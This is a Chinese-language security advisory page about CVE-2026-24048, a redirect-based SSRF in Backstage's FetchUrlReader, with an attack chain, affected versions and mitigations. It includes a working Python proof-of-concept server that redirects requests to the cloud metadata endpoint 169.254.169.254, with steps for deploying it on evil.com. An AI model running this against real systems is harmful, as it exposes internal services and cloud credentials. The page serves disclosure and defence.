IPBUF安全漏洞报告
English
CVE-2026-24048 CVSS 3.5 低危

CVE-2026-24048 Backstage FetchUrlReader SSRF漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-24048
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
@backstage/backend-defaults (Backstage)

相关标签

SSRFBackstageCVE-2026-24048服务器端请求伪造URL白名单绕过重定向后端框架开发者门户

漏洞概述

CVE-2026-24048是Backstage框架中的一个服务器端请求伪造(SSRF)漏洞。Backstage是Spotify开发的开源开发者门户框架,而@backstage/backend-defaults提供了标准Backstage后端应用的默认实现和设置。该漏洞存在于FetchUrlReader组件中,该组件被目录服务和其他插件用于从URL获取内容。在受影响版本中,FetchUrlReader会自动跟随HTTP重定向,这允许控制backend.reading.allow配置中列出主机的攻击者将请求重定向到内部或敏感URL,从而绕过URL白名单安全控制。攻击者可以利用此漏洞访问未列入白名单的内部资源,但无法添加额外的请求头。该漏洞影响Backstage的多个版本,已在0.12.2、0.13.2、0.14.1和0.15.0版本中修复。

技术细节

漏洞原理:FetchUrlReader组件在获取URL内容时,默认会自动跟随HTTP 3xx重定向响应。当用户请求一个在backend.reading.allow白名单中的URL时,如果该URL返回重定向响应,FetchUrlReader会自动向重定向目标URL发起新请求。攻击者可以:1)先获取一个在allowlist中的域名控制权;2)在该域名上设置重定向到内部敏感URL(如http://localhost:8080/admin、http://169.254.169.254/metadata等);3)诱使Backstage用户或系统访问该域名。由于重定向请求是由FetchUrlReader内部发起,攻击者可以利用服务器的网络位置访问内部资源。技术细节:漏洞核心在于未对重定向目标进行二次验证,FetchUrlReader仅检查初始请求URL是否在白名单中,而未验证最终重定向目标URL。修复方案:在跟随重定向前,检查重定向目标URL是否也在allowlist中,或完全禁用自动重定向功能。

攻击链分析

STEP 1
步骤1
攻击者获取backend.reading.allow白名单中某个域名的控制权,或利用该域名的开放重定向漏洞
STEP 2
步骤2
攻击者在被控域名上设置HTTP 302重定向,将请求重定向到内部敏感URL,如云元数据服务(169.254.169.254)、本地管理接口或内部API
STEP 3
步骤3
Backstage用户或系统通过FetchUrlReader组件请求被控域名上的资源
STEP 4
步骤4
FetchUrlReader自动跟随HTTP重定向,向攻击者指定的内部URL发起请求
STEP 5
步骤5
攻击者通过重定向响应获取Backstage服务器返回的内部资源内容,实现SSRF攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24048 PoC - SSRF via Redirect # Attacker controls a host in backend.reading.allow import http.server import socketserver class RedirectHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Redirect to internal metadata endpoint self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/') self.end_headers() def log_message(self, format, *args): pass # Silent logging PORT = 8080 Handler = RedirectHandler with socketserver.TCPServer(('', PORT), Handler) as httpd: print(f'PoC server running on port {PORT}') httpd.serve_forever() # Usage: # 1. Attacker controls evil.com (in backend.reading.allow) # 2. Deploy this server on evil.com # 3. Backstage FetchUrlReader requests http://evil.com/some/path # 4. Server returns 302 redirect to internal AWS metadata # 5. FetchUrlReader follows redirect, exposing internal data

影响范围

@backstage/backend-defaults < 0.12.2
@backstage/backend-defaults < 0.13.2
@backstage/backend-defaults < 0.14.1
@backstage/backend-defaults < 0.15.0

防御指南

临时缓解措施
临时缓解措施:1)将backend.reading.allow限制为仅包含可信且由您控制且不会发出重定向的主机;2)确保允许列表中的主机不存在开放重定向漏洞;3)在网络层面实施控制,阻止Backstage服务访问敏感的内部端点(如云元数据服务、本地管理接口等);4)监控日志关注异常的内部网络请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表